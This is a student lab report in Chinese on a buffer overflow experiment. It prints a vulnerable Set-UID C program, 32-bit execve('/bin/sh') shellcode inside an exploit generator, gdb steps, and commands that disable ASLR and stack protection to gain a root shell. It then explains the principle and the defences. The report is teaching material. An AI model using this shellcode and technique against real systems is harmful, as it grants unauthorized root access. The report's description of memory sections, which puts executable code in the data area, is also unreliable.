2022-2023-1 20221307 实验七-缓冲区溢出实验实验报告

实验环境：16.04 64位 ubuntu
实验步骤
1.因本实验需在32位环境下操作，因此输入一些命令进行软件包更新

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

2.Linux和一些系统中会随机化进行分配储存地址，而猜测储存地址是本实验完成的关键，下面使用命令来关闭这一功能

sudo sysctl -w kernel.randomize_va_space=0

 

 3.此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。

linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

4.输入命令

linux32

 

 5.输入命令切换到tmp目录，并建立stack.c文件

cd /tmp
vim stack.c

6.以下stack.c文件的内容

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

　

 

 7.编译该程序，并设置SET-UID，采用命令

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

　　

 

 其中，-fno-stack-protector用来关闭gcc中越界保护机制

 8.攻击程序

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

　　程序功能，越界获取root权限

 

 9.GDB调试stack

输入命令

gdb stack
disass main

　　

 

 10.设置断点，我运行的结果是0x080484ee，运行命令

# 设置断点
b *0x080484ee
r
i r $esp

　　

 

 11.修改攻击程序

输入命令

vi expolit.c
i/*找到/x？？的位置反着将得到地址替换*/

 

 

12.运行程序获得权限

 

输入命令

./exploit
./stack

13.获得权限

输入命令

whoami

　

 

 

缓冲区溢出的原理和防范：


1.原理：

由于C/C++语言本身没有数组越界检查机制，当向缓冲区里写入的数据超过了为其分配的大小时，就会发生缓冲区溢出。

攻击者可以利用缓冲区溢出来窜改进程运行时栈，从而改变程序的正常流向。

 

缓冲区溢出漏洞是一种古老、危害范围大、常见于c代码中的软件漏洞，在各种操作系统、应用软件中广泛存在，数据库系统中同样常见。利用缓冲区溢出攻击，可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是，攻击者可以利用它执行非授权指令，甚至取得系统特权，进而实行攻击行为。

缓冲区溢出漏洞最早在20世纪80年代初被发现，第一次重大事件是1988年爆发的Morris蠕虫。该蠕虫病毒利用fingerd的缓冲区溢出漏洞进行攻击，最终导致6000多台机器被感染，造成直接经济损失100万美金。随后，衍生而出的Ramen 蠕虫、sircam蠕虫、sql slammer蠕虫等品种逐渐出现，每一类蠕虫都对整个互联网造成了严重的安全影响，造成高额的经济损失。

 

 

其中共享区也称为data区，用来存储可执行代码；.text和.bss均用来存储程序的全局变量和初始化变量；堆则不随函数消亡而消亡，而是直到程序消亡或手动释放才会消亡；堆栈是随着函数分配并消亡的，堆栈溢出就是出现在堆栈区中的缓冲区安全问题。

堆栈是一个后进先出（LIFO）数据结构，往低地址增长，它保存本地变量、函数调用等信息。随着函数调用层数的增加，栈帧会向低地址方向延伸；随着进程中函数调用层数的减少，即各函数的返回，栈帧会一块一块地被遗弃而向内存的高地址方向回缩。各函数的栈帧大小随着函数的性质不同而不等。

堆栈这种数据结构，常见操作有压栈（PUSH）、弹栈（POP）；用于标识栈的属性有：栈顶（TOP）、栈底（BASE）。其中：

PUSH：为栈增加一个元素的操作叫做PUSH，相当于插入一块；

POP：从栈中取出一个元素的操作叫做POP；

TOP：TOP标识栈顶的位置，且是动态变化的，每做一次PUSH操作，它会自+1；每做一次POP操作，它会自-1；

BASE：BASE标识栈底位置，用于防止栈空后继续弹栈，一般来说BASE位置不发生改变。

  2.防范：

1） 使用自动化工具进行扫描检测，排查是否存在缓冲区溢出漏洞；但需要注意的是需要使用面向不同系统的扫描工具，没有一个检查工具可以支持所有基础应用的扫描。

2） 加强相关程序员的代码能力，做好相应的长度限制工作，从代码级别进行防范。

3）避免使用原C库中那些可能存在缓冲区溢出隐患的函数，使用增强后的函数，这样此漏洞出现的几率会相对低一些。